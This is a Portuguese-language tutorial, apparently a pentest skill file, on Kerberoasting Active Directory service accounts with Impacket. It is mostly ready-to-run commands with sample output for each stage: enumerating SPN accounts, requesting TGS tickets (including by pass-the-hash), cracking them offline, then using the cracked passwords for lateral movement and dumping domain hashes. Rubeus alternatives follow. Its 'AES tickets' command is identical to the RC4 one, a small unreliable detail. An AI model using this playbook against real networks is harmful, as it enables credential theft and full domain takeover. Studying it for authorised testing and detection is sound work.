Explorando Kerberoasting com Impacket

Visão Geral

Kerberoasting (MITRE ATT&CK T1558.003) é uma técnica de acesso a credenciais que visa contas de serviço do Active Directory, solicitando tickets Kerberos TGS (Ticket Granting Service) para contas com Service Principal Names (SPNs). O ticket TGS é criptografado com o hash NTLM da conta de serviço (RC4 ou AES), permitindo a quebra offline por força bruta. O GetUserSPNs.py do Impacket é a ferramenta padrão para ataques de Kerberoasting baseados em Linux.

Quando Usar

• Ao realizar testes de segurança autorizados que envolvam a exploração de kerberoasting com impacket
• Ao analisar amostras de malware ou artefatos de ataque em um ambiente controlado
• Ao conduzir exercícios de equipe vermelha ou engajamentos de teste de penetração
• Ao construir capacidades de detecção com base na compreensão de técnicas ofensivas

Pré-requisitos

• Credenciais de domínio válidas (qualquer usuário do domínio pode solicitar tickets TGS)
• Acesso à rede a um Controlador de Domínio (Kerberos TCP/88, LDAP TCP/389)
• Impacket instalado (pip install impacket)
• Hashcat ou John the Ripper para quebra offline
• Lista de palavras (ex: rockyou.txt, SecLists)

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar as leis de fraude de computador.

Mapeamento MITRE ATT&CK

Passo 1: Enumerar Contas Kerberoastáveis

# List all user accounts with SPNs (without requesting tickets)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1

# Output example:
# ServicePrincipalName          Name        MemberOf                          PasswordLastSet
# ----------------------------  ----------  --------------------------------  -------------------
# MSSQLSvc/SQL01.corp.local     svc_sql     CN=Domain Admins,CN=Users,...     2023-01-15 10:30:22
# HTTP/web01.corp.local         svc_web     CN=Web Admins,CN=Users,...        2024-03-20 14:15:00
# HOST/backup01.corp.local      svc_backup  CN=Backup Operators,CN=Users,...  2022-06-01 08:45:10

Passo 2: Solicitar Tickets TGS

# Request TGS tickets for all Kerberoastable accounts
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Request ticket for a specific SPN
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request-user svc_sql

# Output format (hashcat-compatible):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...

# Save to file for cracking
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile kerberoast_hashes.txt

# Using NTLM hash instead of password (Pass-the-Hash)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
  -dc-ip 10.10.10.1 -request -outputfile hashes.txt

# Request AES tickets (if available)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile hashes.txt

Passo 3: Quebrar Tickets TGS Offline

# Hashcat - RC4 encrypted tickets (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule

# Hashcat - AES-256 encrypted tickets (mode 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt

# Check results
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!

Passo 4: Validar e Usar Credenciais Quebradas

# Verify cracked credentials
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local

# Check for local admin access
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth

# Use credentials for lateral movement
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local

# If service account is Domain Admin
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm

Ferramentas Alternativas

Rubeus (Windows)

# Kerberoast todas as contas
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Alvo de usuário específico
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt


…